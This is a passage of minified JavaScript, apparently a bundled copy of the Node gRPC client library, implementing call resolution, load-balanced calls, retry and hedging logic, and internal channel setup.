0||X.call(Y),this.onCallEnded=Y.onCallEnded,this.trace("Created child call ["+this.child.getCallNumber()+"]"),this.readPending)this.child.startRead();if(this.pendingMessage)this.child.sendMessageWithContext(this.pendingMessage.context,this.pendingMessage.message);if(this.pendingHalfClose)this.child.halfClose()},(O)=>{let{code:X,details:$}=(0,DC6.restrictControlPlaneStatusCode)(typeof O.code==="number"?O.code:Nj1.Status.UNKNOWN,`Getting metadata from plugin failed with error: ${O.message}`);this.outputStatus({code:X,details:$,metadata:new Tj1.Metadata},"PROCESSED")});break;case NFA.PickResultType.DROP:let{code:H,details:J}=(0,DC6.restrictControlPlaneStatusCode)(Y.status.code,Y.status.details);setImmediate(()=>{this.outputStatus({code:H,details:J,metadata:Y.status.metadata},"DROP")});break;case NFA.PickResultType.TRANSIENT_FAILURE:if(this.metadata.getOptions().waitForReady)this.channel.queueCallForPick(this);else{let{code:O,details:X}=(0,DC6.restrictControlPlaneStatusCode)(Y.status.code,Y.status.details);setImmediate(()=>{this.outputStatus({code:O,details:X,metadata:Y.status.metadata},"PROCESSED")})}break;case NFA.PickResultType.QUEUE:this.channel.queueCallForPick(this)}}cancelWithStatus(A,K){var q;this.trace("cancelWithStatus code: "+A+' details: "'+K+'"'),(q=this.child)===null||q===void 0||q.cancelWithStatus(A,K),this.outputStatus({code:A,details:K,metadata:new Tj1.Metadata},"PROCESSED")}getPeer(){var A,K;return(K=(A=this.child)===null||A===void 0?void 0:A.getPeer())!==null&&K!==void 0?K:this.channel.getTarget()}start(A,K){this.trace("start called"),this.listener=K,this.metadata=A,this.doPick()}sendMessageWithContext(A,K){if(this.trace("write() called with message of length "+K.length),this.child)this.child.sendMessageWithContext(A,K);else this.pendingMessage={context:A,message:K}}startRead(){if(this.trace("startRead called"),this.child)this.child.startRead();else this.readPending=!0}halfClose(){if(this.trace("halfClose called"),this.child)this.child.halfClose();else this.pendingHalfClose=!0}setCredentials(A){throw Error("Method not implemented.")}getCallNumber(){return this.callNumber}getAuthContext(){if(this.child)return this.child.getAuthContext();else return null}}el7.LoadBalancingCall=tl7});var Hi7=v((zi7)=>{Object.defineProperty(zi7,"__esModule",{value:!0});zi7.ResolvingCall=void 0;var rz2=kD1(),q3A=K9(),Y3A=MjA(),qi7=UG(),oz2=Lw(),az2=DFA(),sz2="resolving_call";class Yi7{constructor(A,K,q,Y,z){if(this.channel=A,this.method=K,this.filterStackFactory=Y,this.callNumber=z,this.child=null,this.readPending=!1,this.pendingMessage=null,this.pendingHalfClose=!1,this.ended=!1,this.readFilterPending=!1,this.writeFilterPending=!1,this.pendingChildStatus=null,this.metadata=null,this.listener=null,this.statusWatchers=[],this.deadlineTimer=setTimeout(()=>{},0),this.filterStack=null,this.deadlineStartTime=null,this.configReceivedTime=null,this.childStartTime=null,this.credentials=rz2.CallCredentials.createEmpty(),this.deadline=q.deadline,this.host=q.host,q.parentCall){if(q.flags&q3A.Propagate.CANCELLATION)q.parentCall.on("cancelled",()=>{this.cancelWithStatus(q3A.Status.CANCELLED,"Cancelled by parent call")});if(q.flags&q3A.Propagate.DEADLINE)this.trace("Propagating deadline from parent: "+q.parentCall.getDeadline()),this.deadline=(0,Y3A.minDeadline)(this.deadline,q.parentCall.getDeadline())}this.trace("Created"),this.runDeadlineTimer()}trace(A){oz2.trace(q3A.LogVerbosity.DEBUG,sz2,"["+this.callNumber+"] "+A)}runDeadlineTimer(){clearTimeout(this.deadlineTimer),this.deadlineStartTime=new Date,this.trace("Deadline: "+(0,Y3A.deadlineToString)(this.deadline));let A=(0,Y3A.getRelativeTimeout)(this.deadline);if(A!==1/0){this.trace("Deadline will be reached in "+A+"ms");let K=()=>{if(!this.deadlineStartTime){this.cancelWithStatus(q3A.Status.DEADLINE_EXCEEDED,"Deadline exceeded");return}let q=[],Y=new Date;if(q.push(`Deadline exceeded after ${(0,Y3A.formatDateDifference)(this.deadlineStartTime,Y)}`),this.configReceivedTime){if(this.configReceivedTime>this.deadlineStartTime)q.push(`name resolution: ${(0,Y3A.formatDateDifference)(this.deadlineStartTime,this.configReceivedTime)}`);if(this.childStartTime){if(this.childStartTime>this.configReceivedTime)q.push(`metadata filters: ${(0,Y3A.formatDateDifference)(this.configReceivedTime,this.childStartTime)}`)}else q.push("waiting for metadata filters")}else q.push("waiting for name resolution");if(this.child)q.push(...this.child.getDeadlineInfo());this.cancelWithStatus(q3A.Status.DEADLINE_EXCEEDED,q.join(","))};if(A<=0)process.nextTick(K);else this.deadlineTimer=setTimeout(K,A)}}outputStatus(A){if(!this.ended){if(this.ended=!0,!this.filterStack)this.filterStack=this.filterStackFactory.createFilter();clearTimeout(this.deadlineTimer);let K=this.filterStack.receiveTrailers(A);this.trace("ended with status: code="+K.code+' details="'+K.details+'"'),this.statusWatchers.forEach((q)=>q(K)),process.nextTick(()=>{var q;(q=this.listener)===null||q===void 0||q.onReceiveStatus(K)})}}sendMessageOnChild(A,K){if(!this.child)throw Error("sendMessageonChild called with child not populated");let q=this.child;this.writeFilterPending=!0,this.filterStack.sendMessage(Promise.resolve({message:K,flags:A.flags})).then((Y)=>{if(this.writeFilterPending=!1,q.sendMessageWithContext(A,Y.message),this.pendingHalfClose)q.halfClose()},(Y)=>{this.cancelWithStatus(Y.code,Y.details)})}getConfig(){if(this.ended)return;if(!this.metadata||!this.listener)throw Error("getConfig called before start");let A=this.channel.getConfig(this.method,this.metadata);if(A.type==="NONE"){this.channel.queueCallForConfig(this);return}else if(A.type==="ERROR"){if(this.metadata.getOptions().waitForReady)this.channel.queueCallForConfig(this);else this.outputStatus(A.error);return}this.configReceivedTime=new Date;let K=A.config;if(K.status!==q3A.Status.OK){let{code:q,details:Y}=(0,az2.restrictControlPlaneStatusCode)(K.status,"Failed to route call to method "+this.method);this.outputStatus({code:q,details:Y,metadata:new qi7.Metadata});return}if(K.methodConfig.timeout){let q=new Date;q.setSeconds(q.getSeconds()+K.methodConfig.timeout.seconds),q.setMilliseconds(q.getMilliseconds()+K.methodConfig.timeout.nanos/1e6),this.deadline=(0,Y3A.minDeadline)(this.deadline,q),this.runDeadlineTimer()}this.filterStackFactory.push(K.dynamicFilterFactories),this.filterStack=this.filterStackFactory.createFilter(),this.filterStack.sendMetadata(Promise.resolve(this.metadata)).then((q)=>{if(this.child=this.channel.createRetryingCall(K,this.method,this.host,this.credentials,this.deadline),this.trace("Created child ["+this.child.getCallNumber()+"]"),this.childStartTime=new Date,this.child.start(q,{onReceiveMetadata:(Y)=>{this.trace("Received metadata"),this.listener.onReceiveMetadata(this.filterStack.receiveMetadata(Y))},onReceiveMessage:(Y)=>{this.trace("Received message"),this.readFilterPending=!0,this.filterStack.receiveMessage(Y).then((z)=>{if(this.trace("Finished filtering received message"),this.readFilterPending=!1,this.listener.onReceiveMessage(z),this.pendingChildStatus)this.outputStatus(this.pendingChildStatus)},(z)=>{this.cancelWithStatus(z.code,z.details)})},onReceiveStatus:(Y)=>{if(this.trace("Received status"),this.readFilterPending)this.pendingChildStatus=Y;else this.outputStatus(Y)}}),this.readPending)this.child.startRead();if(this.pendingMessage)this.sendMessageOnChild(this.pendingMessage.context,this.pendingMessage.message);else if(this.pendingHalfClose)this.child.halfClose()},(q)=>{this.outputStatus(q)})}reportResolverError(A){var K;if((K=this.metadata)===null||K===void 0?void 0:K.getOptions().waitForReady)this.channel.queueCallForConfig(this);else this.outputStatus(A)}cancelWithStatus(A,K){var q;this.trace("cancelWithStatus code: "+A+' details: "'+K+'"'),(q=this.child)===null||q===void 0||q.cancelWithStatus(A,K),this.outputStatus({code:A,details:K,metadata:new qi7.Metadata})}getPeer(){var A,K;return(K=(A=this.child)===null||A===void 0?void 0:A.getPeer())!==null&&K!==void 0?K:this.channel.getTarget()}start(A,K){this.trace("start called"),this.metadata=A.clone(),this.listener=K,this.getConfig()}sendMessageWithContext(A,K){if(this.trace("write() called with message of length "+K.length),this.child)this.sendMessageOnChild(A,K);else this.pendingMessage={context:A,message:K}}startRead(){if(this.trace("startRead called"),this.child)this.child.startRead();else this.readPending=!0}halfClose(){if(this.trace("halfClose called"),this.child&&!this.writeFilterPending)this.child.halfClose();else this.pendingHalfClose=!0}setCredentials(A){this.credentials=A}addStatusWatcher(A){this.statusWatchers.push(A)}getCallNumber(){return this.callNumber}getAuthContext(){if(this.child)return this.child.getAuthContext();else return null}}zi7.ResolvingCall=Yi7});var Gi7=v(($i7)=>{Object.defineProperty($i7,"__esModule",{value:!0});$i7.RetryingCall=$i7.MessageBufferTracker=$i7.RetryThrottler=void 0;var vj1=K9(),tz2=MjA(),ez2=UG(),Aw2=Lw(),Kw2="retrying_call";class Ji7{constructor(A,K,q){if(this.maxTokens=A,this.tokenRatio=K,q)this.tokens=q.tokens*(A/q.maxTokens);else this.tokens=A}addCallSucceeded(){this.tokens=Math.min(this.tokens+this.tokenRatio,this.maxTokens)}addCallFailed(){this.tokens=Math.max(this.tokens-1,0)}canRetryCall(){return this.tokens>this.maxTokens/2}}$i7.RetryThrottler=Ji7;class Oi7{constructor(A,K){this.totalLimit=A,this.limitPerCall=K,this.totalAllocated=0,this.allocatedPerCall=new Map}allocate(A,K){var q;let Y=(q=this.allocatedPerCall.get(K))!==null&&q!==void 0?q:0;if(this.limitPerCall-Y<A||this.totalLimit-this.totalAllocated<A)return!1;return this.allocatedPerCall.set(K,Y+A),this.totalAllocated+=A,!0}free(A,K){var q;if(this.totalAllocated<A)throw Error(`Invalid buffer allocation state: call ${K} freed ${A} > total allocated ${this.totalAllocated}`);this.totalAllocated-=A;let Y=(q=this.allocatedPerCall.get(K))!==null&&q!==void 0?q:0;if(Y<A)throw Error(`Invalid buffer allocation state: call ${K} freed ${A} > allocated for call ${Y}`);this.allocatedPerCall.set(K,Y-A)}freeAll(A){var K;let q=(K=this.allocatedPerCall.get(A))!==null&&K!==void 0?K:0;if(this.totalAllocated<q)throw Error(`Invalid buffer allocation state: call ${A} allocated ${q} > total allocated ${this.totalAllocated}`);this.totalAllocated-=q,this.allocatedPerCall.delete(A)}}$i7.MessageBufferTracker=Oi7;var jC6="grpc-previous-rpc-attempts",qw2=5;class Xi7{constructor(A,K,q,Y,z,w,H,J,O){var X;this.channel=A,this.callConfig=K,this.methodName=q,this.host=Y,this.credentials=z,this.deadline=w,this.callNumber=H,this.bufferTracker=J,this.retryThrottler=O,this.listener=null,this.initialMetadata=null,this.underlyingCalls=[],this.writeBuffer=[],this.writeBufferOffset=0,this.readStarted=!1,this.transparentRetryUsed=!1,this.attempts=0,this.hedgingTimer=null,this.committedCallIndex=null,this.initialRetryBackoffSec=0,this.nextRetryBackoffSec=0;let $=(X=A.getOptions()["grpc-node.retry_max_attempts_limit"])!==null&&X!==void 0?X:qw2;if(A.getOptions()["grpc.enable_retries"]===0)this.state="NO_RETRY",this.maxAttempts=1;else if(K.methodConfig.retryPolicy){this.state="RETRY";let _=K.methodConfig.retryPolicy;this.nextRetryBackoffSec=this.initialRetryBackoffSec=Number(_.initialBackoff.substring(0,_.initialBackoff.length-1)),this.maxAttempts=Math.min(_.maxAttempts,$)}else if(K.methodConfig.hedgingPolicy)this.state="HEDGING",this.maxAttempts=Math.min(K.methodConfig.hedgingPolicy.maxAttempts,$);else this.state="TRANSPARENT_ONLY",this.maxAttempts=1;this.startTime=new Date}getDeadlineInfo(){if(this.underlyingCalls.length===0)return[];let A=[],K=this.underlyingCalls[this.underlyingCalls.length-1];if(this.underlyingCalls.length>1)A.push(`previous attempts: ${this.underlyingCalls.length-1}`);if(K.startTime>this.startTime)A.push(`time to current attempt start: ${(0,tz2.formatDateDifference)(this.startTime,K.startTime)}`);return A.push(...K.call.getDeadlineInfo()),A}getCallNumber(){return this.callNumber}trace(A){Aw2.trace(vj1.LogVerbosity.DEBUG,Kw2,"["+this.callNumber+"] "+A)}reportStatus(A){this.trace("ended with status: code="+A.code+' details="'+A.details+'" start time='+this.startTime.toISOString()),this.bufferTracker.freeAll(this.callNumber),this.writeBufferOffset=this.writeBufferOffset+this.writeBuffer.length,this.writeBuffer=[],process.nextTick(()=>{var K;(K=this.listener)===null||K===void 0||K.onReceiveStatus({code:A.code,details:A.details,metadata:A.metadata})})}cancelWithStatus(A,K){this.trace("cancelWithStatus code: "+A+' details: "'+K+'"'),this.reportStatus({code:A,details:K,metadata:new ez2.Metadata});for(let{call:q}of this.underlyingCalls)q.cancelWithStatus(A,K)}getPeer(){if(this.committedCallIndex!==null)return this.underlyingCalls[this.committedCallIndex].call.getPeer();else return"unknown"}getBufferEntry(A){var K;return(K=this.writeBuffer[A-this.writeBufferOffset])!==null&&K!==void 0?K:{entryType:"FREED",allocated:!1}}getNextBufferIndex(){return this.writeBufferOffset+this.writeBuffer.length}clearSentMessages(){if(this.state!=="COMMITTED")return;let A;if(this.underlyingCalls[this.committedCallIndex].state==="COMPLETED")A=this.getNextBufferIndex();else A=this.underlyingCalls[this.committedCallIndex].nextMessageToSend;for(let K=this.writeBufferOffset;K<A;K++){let q=this.getBufferEntry(K);if(q.allocated)this.bufferTracker.free(q.message.message.length,this.callNumber)}this.writeBuffer=this.writeBuffer.slice(A-this.writeBufferOffset),this.writeBufferOffset=A}commitCall(A){var K,q;if(this.state==="COMMITTED")return;this.trace("Committing call ["+this.underlyingCalls[A].call.getCallNumber()+"] at index "+A),this.state="COMMITTED",(q=(K=this.callConfig).onCommitted)===null||q===void 0||q.call(K),this.committedCallIndex=A;for(let Y=0;Y<this.underlyingCalls.length;Y++){if(Y===A)continue;if(this.underlyingCalls[Y].state==="COMPLETED")continue;this.underlyingCalls[Y].state="COMPLETED",this.underlyingCalls[Y].call.cancelWithStatus(vj1.Status.CANCELLED,"Discarded in favor of other hedged attempt")}this.clearSentMessages()}commitCallWithMostMessages(){if(this.state==="COMMITTED")return;let A=-1,K=-1;for(let[q,Y]of this.underlyingCalls.entries())if(Y.state==="ACTIVE"&&Y.nextMessageToSend>A)A=Y.nextMessageToSend,K=q;if(K===-1)this.state="TRANSPARENT_ONLY";else this.commitCall(K)}isStatusCodeInList(A,K){return A.some((q)=>{var Y;return q===K||q.toString().toLowerCase()===((Y=vj1.Status[K])===null||Y===void 0?void 0:Y.toLowerCase())})}getNextRetryJitter(){return Math.random()*0.3999999999999999+0.8}getNextRetryBackoffMs(){var A;let K=(A=this.callConfig)===null||A===void 0?void 0:A.methodConfig.retryPolicy;if(!K)return 0;let Y=this.getNextRetryJitter()*this.nextRetryBackoffSec*1000,z=Number(K.maxBackoff.substring(0,K.maxBackoff.length-1));return this.nextRetryBackoffSec=Math.min(this.nextRetryBackoffSec*K.backoffMultiplier,z),Y}maybeRetryCall(A,K){if(this.state!=="RETRY"){K(!1);return}if(this.attempts>=this.maxAttempts){K(!1);return}let q;if(A===null)q=this.getNextRetryBackoffMs();else if(A<0){this.state="TRANSPARENT_ONLY",K(!1);return}else q=A,this.nextRetryBackoffSec=this.initialRetryBackoffSec;setTimeout(()=>{var Y,z;if(this.state!=="RETRY"){K(!1);return}if((z=(Y=this.retryThrottler)===null||Y===void 0?void 0:Y.canRetryCall())!==null&&z!==void 0?z:!0)K(!0),this.attempts+=1,this.startNewAttempt();else this.trace("Retry attempt denied by throttling policy"),K(!1)},q)}countActiveCalls(){let A=0;for(let K of this.underlyingCalls)if((K===null||K===void 0?void 0:K.state)==="ACTIVE")A+=1;return A}handleProcessedStatus(A,K,q){var Y,z,w;switch(this.state){case"COMMITTED":case"NO_RETRY":case"TRANSPARENT_ONLY":this.commitCall(K),this.reportStatus(A);break;case"HEDGING":if(this.isStatusCodeInList((Y=this.callConfig.methodConfig.hedgingPolicy.nonFatalStatusCodes)!==null&&Y!==void 0?Y:[],A.code)){(z=this.retryThrottler)===null||z===void 0||z.addCallFailed();let H;if(q===null)H=0;else if(q<0){this.state="TRANSPARENT_ONLY",this.commitCall(K),this.reportStatus(A);return}else H=q;setTimeout(()=>{if(this.maybeStartHedgingAttempt(),this.countActiveCalls()===0)this.commitCall(K),this.reportStatus(A)},H)}else this.commitCall(K),this.reportStatus(A);break;case"RETRY":if(this.isStatusCodeInList(this.callConfig.methodConfig.retryPolicy.retryableStatusCodes,A.code))(w=this.retryThrottler)===null||w===void 0||w.addCallFailed(),this.maybeRetryCall(q,(H)=>{if(!H)this.commitCall(K),this.reportStatus(A)});else this.commitCall(K),this.reportStatus(A);break}}getPushback(A){let K=A.get("grpc-retry-pushback-ms");if(K.length===0)return null;try{return parseInt(K[0])}catch(q){return-1}}handleChildStatus(A,K){var q;if(this.underlyingCalls[K].state==="COMPLETED")return;if(this.trace("state="+this.state+" handling status with progress "+A.progress+" from child ["+this.underlyingCalls[K].call.getCallNumber()+"] in state "+this.underlyingCalls[K].state),this.underlyingCalls[K].state="COMPLETED",A.code===vj1.Status.OK){(q=this.retryThrottler)===null||q===void 0||q.addCallSucceeded(),this.commitCall(K),this.reportStatus(A);return}if(this.state==="NO_RETRY"){this.commitCall(K),this.reportStatus(A);return}if(this.state==="COMMITTED"){this.reportStatus(A);return}let Y=this.getPushback(A.metadata);switch(A.progress){case"NOT_STARTED":this.startNewAttempt();break;case"REFUSED":if(this.transparentRetryUsed)this.handleProcessedStatus(A,K,Y);else this.transparentRetryUsed=!0,this.startNewAttempt();break;case"DROP":this.commitCall(K),this.reportStatus(A);break;case"PROCESSED":this.handleProcessedStatus(A,K,Y);break}}maybeStartHedgingAttempt(){if(this.state!=="HEDGING")return;if(!this.callConfig.methodConfig.hedgingPolicy)return;if(this.attempts>=this.maxAttempts)return;this.attempts+=1,this.startNewAttempt(),this.maybeStartHedgingTimer()}maybeStartHedgingTimer(){var A,K,q;if(this.hedgingTimer)clearTimeout(this.hedgingTimer);if(this.state!=="HEDGING")return;if(!this.callConfig.methodConfig.hedgingPolicy)return;let Y=this.callConfig.methodConfig.hedgingPolicy;if(this.attempts>=this.maxAttempts)return;let z=(A=Y.hedgingDelay)!==null&&A!==void 0?A:"0s",w=Number(z.substring(0,z.length-1));this.hedgingTimer=setTimeout(()=>{this.maybeStartHedgingAttempt()},w*1000),(q=(K=this.hedgingTimer).unref)===null||q===void 0||q.call(K)}startNewAttempt(){let A=this.channel.createLoadBalancingCall(this.callConfig,this.methodName,this.host,this.credentials,this.deadline);this.trace("Created child call ["+A.getCallNumber()+"] for attempt "+this.attempts);let K=this.underlyingCalls.length;this.underlyingCalls.push({state:"ACTIVE",call:A,nextMessageToSend:0,startTime:new Date});let q=this.attempts-1,Y=this.initialMetadata.clone();if(q>0)Y.set(jC6,`${q}`);let z=!1;if(A.start(Y,{onReceiveMetadata:(w)=>{if(this.trace("Received metadata from child ["+A.getCallNumber()+"]"),this.commitCall(K),z=!0,q>0)w.set(jC6,`${q}`);if(this.underlyingCalls[K].state==="ACTIVE")this.listener.onReceiveMetadata(w)},onReceiveMessage:(w)=>{if(this.trace("Received message from child ["+A.getCallNumber()+"]"),this.commitCall(K),this.underlyingCalls[K].state==="ACTIVE")this.listener.onReceiveMessage(w)},onReceiveStatus:(w)=>{if(this.trace("Received status from child ["+A.getCallNumber()+"]"),!z&&q>0)w.metadata.set(jC6,`${q}`);this.handleChildStatus(w,K)}}),this.sendNextChildMessage(K),this.readStarted)A.startRead()}start(A,K){this.trace("start called"),this.listener=K,this.initialMetadata=A,this.attempts+=1,this.startNewAttempt(),this.maybeStartHedgingTimer()}handleChildWriteCompleted(A){var K,q;let Y=this.underlyingCalls[A],z=Y.nextMessageToSend;(q=(K=this.getBufferEntry(z)).callback)===null||q===void 0||q.call(K),this.clearSentMessages(),Y.nextMessageToSend+=1,this.sendNextChildMessage(A)}sendNextChildMessage(A){let K=this.underlyingCalls[A];if(K.state==="COMPLETED")return;if(this.getBufferEntry(K.nextMessageToSend)){let q=this.getBufferEntry(K.nextMessageToSend);switch(q.entryType){case"MESSAGE":K.call.sendMessageWithContext({callback:(Y)=>{this.handleChildWriteCompleted(A)}},q.message.message);break;case"HALF_CLOSE":K.nextMessageToSend+=1,K.call.halfClose();break;case"FREED":break}}}sendMessageWithContext(A,K){var q;this.trace("write() called with message of length "+K.length);let Y={message:K,flags:A.flags},z=this.getNextBufferIndex(),w={entryType:"MESSAGE",message:Y,allocated:this.bufferTracker.allocate(K.length,this.callNumber)};if(this.writeBuffer.push(w),w.allocated){(q=A.callback)===null||q===void 0||q.call(A);for(let[H,J]of this.underlyingCalls.entries())if(J.state==="ACTIVE"&&J.nextMessageToSend===z)J.call.sendMessageWithContext({callback:(O)=>{this.handleChildWriteCompleted(H)}},K)}else{if(this.commitCallWithMostMessages(),this.committedCallIndex===null)return;let H=this.underlyingCalls[this.committedCallIndex];if(w.callback=A.callback,H.state==="ACTIVE"&&H.nextMessageToSend===z)H.call.sendMessageWithContext({callback:(J)=>{this.handleChildWriteCompleted(this.committedCallIndex)}},K)}}startRead(){this.trace("startRead called"),this.readStarted=!0;for(let A of this.underlyingCalls)if((A===null||A===void 0?void 0:A.state)==="ACTIVE")A.call.startRead()}halfClose(){this.trace("halfClose called");let A=this.getNextBufferIndex();this.writeBuffer.push({entryType:"HALF_CLOSE",allocated:!1});for(let K of this.underlyingCalls)if((K===null||K===void 0?void 0:K.state)==="ACTIVE"&&K.nextMessageToSend===A)K.nextMessageToSend+=1,K.call.halfClose()}setCredentials(A){throw Error("Method not implemented.")}getMethod(){return this.methodName}getHost(){return this.host}getAuthContext(){if(this.committedCallIndex!==null)return this.underlyingCalls[this.committedCallIndex].call.getAuthContext();else return null}}$i7.RetryingCall=Xi7});var TFA=v((Wi7)=>{Object.defineProperty(Wi7,"__esModule",{value:!0});Wi7.BaseSubchannelWrapper=void 0;class Zi7{constructor(A){this.child=A,this.healthy=!0,this.healthListeners=new Set,this.refcount=0,this.dataWatchers=new Set,A.addHealthStateWatcher((K)=>{if(this.healthy)this.updateHealthListeners()})}updateHealthListeners(){for(let A of this.healthListeners)A(this.isHealthy())}getConnectivityState(){return this.child.getConnectivityState()}addConnectivityStateListener(A){this.child.addConnectivityStateListener(A)}removeConnectivityStateListener(A){this.child.removeConnectivityStateListener(A)}startConnecting(){this.child.startConnecting()}getAddress(){return this.child.getAddress()}throttleKeepalive(A){this.child.throttleKeepalive(A)}ref(){this.child.ref(),this.refcount+=1}unref(){if(this.child.unref(),this.refcount-=1,this.refcount===0)this.destroy()}destroy(){for(let A of this.dataWatchers)A.destroy()}getChannelzRef(){return this.child.getChannelzRef()}isHealthy(){return this.healthy&&this.child.isHealthy()}addHealthStateWatcher(A){this.healthListeners.add(A)}removeHealthStateWatcher(A){this.healthListeners.delete(A)}addDataWatcher(A){A.setSubchannel(this.getRealSubchannel()),this.dataWatchers.add(A)}setHealthy(A){if(A!==this.healthy){if(this.healthy=A,this.child.isHealthy())this.updateHealthListeners()}}getRealSubchannel(){return this.child.getRealSubchannel()}realSubchannelEquals(A){return this.getRealSubchannel()===A.getRealSubchannel()}getCallCredentials(){return this.child.getCallCredentials()}getChannel(){return this.child.getChannel()}}Wi7.BaseSubchannelWrapper=Zi7});var fC6=v((Ni7)=>{Object.defineProperty(Ni7,"__esModule",{value:!0});Ni7.InternalChannel=Ni7.SUBCHANNEL_ARGS_EXCLUDE_KEY_PREFIX=void 0;var ww2=qjA(),Hw2=iU7(),Jw2=ol7(),VC6=tp(),Ow2=UG(),Wt=K9(),Xw2=Wj1(),$w2=KC6(),ji7=jS(),Ej1=Lw(),_w2=$C6(),kj1=zP(),GL=wP(),vFA=Gt(),Gw2=Ki7(),Zw2=MjA(),Ww2=Hi7(),MC6=Gj1(),Dw2=DFA(),PC6=Gi7(),jw2=TFA(),Mw2=2147483647,Pw2=1000,Vw2=1800000,Cj1=new Map,fw2=16777216,Nw2=1048576;class Mi7 extends jw2.BaseSubchannelWrapper{constructor(A,K){super(A);this.channel=K,this.refCount=0,this.subchannelStateListener=(q,Y,z,w)=>{K.throttleKeepalive(w)}}ref(){if(this.refCount===0)this.child.addConnectivityStateListener(this.subchannelStateListener),this.channel.addWrappedSubchannel(this);this.child.ref(),this.refCount+=1}unref(){if(this.child.unref(),this.refCount-=1,this.refCount<=0)this.child.removeConnectivityStateListener(this.subchannelStateListener),this.channel.removeWrappedSubchannel(this)}}class Pi7{pick(A){return{pickResultType:VC6.PickResultType.DROP,status:{code:Wt.Status.UNAVAILABLE,details:"Channel closed before call started",metadata:new Ow2.Metadata},subchannel:null,onCallStarted:null,onCallEnded:null}}}Ni7.SUBCHANNEL_ARGS_EXCLUDE_KEY_PREFIX="grpc.internal.no_subchannel";class Vi7{constructor(A){this.target=A,this.trace=new vFA.ChannelzTrace,this.callTracker=new vFA.ChannelzCallTracker,this.childrenTracker=new vFA.ChannelzChildrenTracker,this.state=GL.ConnectivityState.IDLE}getChannelzInfoCallback(){return()=>{return{target:this.target,state:this.state,trace:this.trace,callTracker:this.callTracker,children:this.childrenTracker.getChildLists()}}}}class fi7{constructor(A,K,q){var Y,z,w,H,J,O;if(this.credentials=K,this.options=q,this.connectivityState=GL.ConnectivityState.IDLE,this.currentPicker=new VC6.UnavailablePicker,this.configSelectionQueue=[],this.pickQueue=[],this.connectivityStateWatchers=[],this.callRefTimer=null,this.configSelector=null,this.currentResolutionError=null,this.wrappedSubchannels=new Set,this.callCount=0,this.idleTimer=null,this.channelzEnabled=!0,this.randomChannelId=Math.floor(Math.random()*Number.MAX_SAFE_INTEGER),typeof A!=="string")throw TypeError("Channel target must be a string");if(!(K instanceof ww2.ChannelCredentials))throw TypeError("Channel credentials must be a ChannelCredentials object");if(q){if(typeof q!=="object")throw TypeError("Channel options must be an object")}this.channelzInfoTracker=new Vi7(A);let X=(0,kj1.parseUri)(A);if(X===null)throw Error(`Could not parse target name "${A}"`);let $=(0,ji7.mapUriDefaultScheme)(X);if($===null)throw Error(`Could not find a default scheme for target name "${A}"`);if(this.options["grpc.enable_channelz"]===0)this.channelzEnabled=!1;if(this.channelzRef=(0,vFA.registerChannelzChannel)(A,this.channelzInfoTracker.getChannelzInfoCallback(),this.channelzEnabled),this.channelzEnabled)this.channelzInfoTracker.trace.addTrace("CT_INFO","Channel created");if(this.options["grpc.default_authority"])this.defaultAuthority=this.options["grpc.default_authority"];else this.defaultAuthority=(0,ji7.getDefaultAuthority)($);let _=(0,_w2.mapProxyName)($,q);this.target=_.target,this.options=Object.assign({},this.options,_.extraOptions),this.subchannelPool=(0,Jw2.getSubchannelPool)(((Y=this.options["grpc.use_local_subchannel_pool"])!==null&&Y!==void 0?Y:0)===0),this.retryBufferTracker=new PC6.MessageBufferTracker((z=this.options["grpc.retry_buffer_size"])!==null&&z!==void 0?z:fw2,(w=this.options["grpc.per_rpc_retry_buffer_size"])!==null&&w!==void 0?w:Nw2),this.keepaliveTime=(H=this.options["grpc.keepalive_time_ms"])!==null&&H!==void 0?H:-1,this.idleTimeoutMs=Math.max((J=this.options["grpc.client_idle_timeout_ms"])!==null&&J!==void 0?J:Vw2,Pw2);let G={createSubchannel:(W,D)=>{let j={};for(let[f,N]of Object.entries(D))if(!f.startsWith(Ni7.SUBCHANNEL_ARGS_EXCLUDE_KEY_PREFIX))j[f]=N;let M=this.subchannelPool.getOrCreateSubchannel(this.target,W,j,this.credentials);if(M.throttleKeepalive(this.keepaliveTime),this.channelzEnabled)this.channelzInfoTracker.trace.addTrace("CT_INFO","Created subchannel or used existing subchannel",M.getChannelzRef());return new Mi7(M,this)},updateState:(W,D)=>{this.currentPicker=D;let j=this.pickQueue.slice();if(this.pickQueue=[],j.length>0)this.callRefTimerUnref();for(let M of j)M.doPick();this.updateState(W)},requestReresolution:()=>{throw Error("Resolving load balancer should never call requestReresolution")},addChannelzChild:(W)=>{if(this.channelzEnabled)this.channelzInfoTracker.childrenTracker.refChild(W)},removeChannelzChild:(W)=>{if(this.channelzEnabled)this.channelzInfoTracker.childrenTracker.unrefChild(W)}};this.resolvingLoadBalancer=new Hw2.ResolvingLoadBalancer(this.target,G,this.options,(W,D)=>{var j;if(W.retryThrottling)Cj1.set(this.getTarget(),new PC6.RetryThrottler(W.retryThrottling.maxTokens,W.retryThrottling.tokenRatio,Cj1.get(this.getTarget())));else Cj1.delete(this.getTarget());if(this.channelzEnabled)this.channelzInfoTracker.trace.addTrace("CT_INFO","Address resolution succeeded");(j=this.configSelector)===null||j===void 0||j.unref(),this.configSelector=D,this.currentResolutionError=null,process.nextTick(()=>{let M=this.configSelectionQueue;if(this.configSelectionQueue=[],M.length>0)this.callRefTimerUnref();for(let P of M)P.getConfig()})},(W)=>{if(this.channelzEnabled)this.channelzInfoTracker.trace.addTrace("CT_WARNING","Address resolution failed with code "+W.code+' and details "'+W.details+'"');if(this.configSelectionQueue.length>0)this.trace("Name resolution failed with calls queued for config selection");if(this.configSelector===null)this.currentResolutionError=Object.assign(Object.assign({},(0,Dw2.restrictControlPlaneStatusCode)(W.code,W.details)),{metadata:W.metadata});let D=this.configSelectionQueue;if(this.configSelectionQueue=[],D.length>0)this.callRefTimerUnref();for(let j of D)j.reportResolverError(W)}),this.filterStackFactory=new Xw2.FilterStackFactory([new $w2.CompressionFilterFactory(this,this.options)]),this.trace("Channel constructed with options "+JSON.stringify(q,void 0,2));let Z=Error();if((0,Ej1.isTracerEnabled)("channel_stacktrace"))(0,Ej1.trace)(Wt.LogVerbosity.DEBUG,"channel_stacktrace","("+this.channelzRef.id+`) Channel constructed `+((O=Z.stack)===null||O===void 0?void 0:O.substring(Z.stack.indexOf(` `)+1)));this.lastActivityTimestamp=new Date}trace(A,K){(0,Ej1.trace)(K!==null&&K!==void 0?K:Wt.LogVerbosity.DEBUG,"channel","("+this.channelzRef.id+") "+(0,kj1.uriToString)(this.target)+" "+A)}callRefTimerRef(){var A,K,q,Y;if(!this.callRefTimer)this.callRefTimer=setInterval(()=>{},Mw2);if(!((K=(A=this.callRefTimer).hasRef)===null||K===void 0?void 